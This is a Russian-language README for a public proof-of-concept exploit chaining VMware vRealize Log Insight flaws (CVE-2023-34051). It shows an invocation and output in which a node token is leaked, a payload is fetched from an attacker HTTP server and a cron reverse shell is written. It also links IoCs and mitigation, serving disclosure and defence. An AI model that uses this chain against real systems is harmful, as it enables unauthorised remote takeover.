CVE-2023-34051

CVE-2023-34051 — это обход аутентификации, который обходит патч для VMSA-2023-0001. VMSA-2023-0001 для vRealize Log Insight включает следующие CVE:

• Уязвимость обхода каталогов VMware vRealize Log Insight (CVE-2022-31706)
• Уязвимость нарушенного контроля доступа VMware vRealize Log Insight (CVE-2022-31704)
• VMware vRealize Log Insight содержит уязвимость раскрытия информации (CVE-2022-31711)

Конфигурация по умолчанию этой уязвимости записывает cron-задачу для создания обратной оболочки. Обязательно измените файл payload в соответствии с вашим окружением.

Технический анализ

Технический анализ первопричины уязвимости можно найти в нашем блоге: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

Индикаторы компрометации

Для анализа экземпляров Log Insight на предмет индикаторов компрометации ознакомьтесь с нашим блогом по IoC: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

Краткое описание

Этот POC использует подделку IP-адреса и различные конечные точки Thrift RPC для достижения произвольной записи файла.

Использование

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

Устранение неполадок

Для успешной атаки злоумышленник должен иметь тот же IP-адрес, что и главный/рабочий узел. Смотрите блог выше для получения дополнительных сведений.

Если вы используете payload на основе cron, убедитесь, что файл payload имеет соответствующие права доступа и владельца:

sudo chown root:root payload

sudo chmod 0644 payload 

Меры смягчения

Обновитесь до последней версии или примените меры, следуя инструкциям в VMSA https://www.vmware.com/security/advisories/VMSA-2023-0021.html

Следите за командой Horizon3.ai Attack Team в Twitter, чтобы быть в курсе последних исследований в области безопасности:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Отказ от ответственности

Это программное обеспечение создано исключительно для целей академических исследований и разработки эффективных методов защиты и не предназначено для использования для атак на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.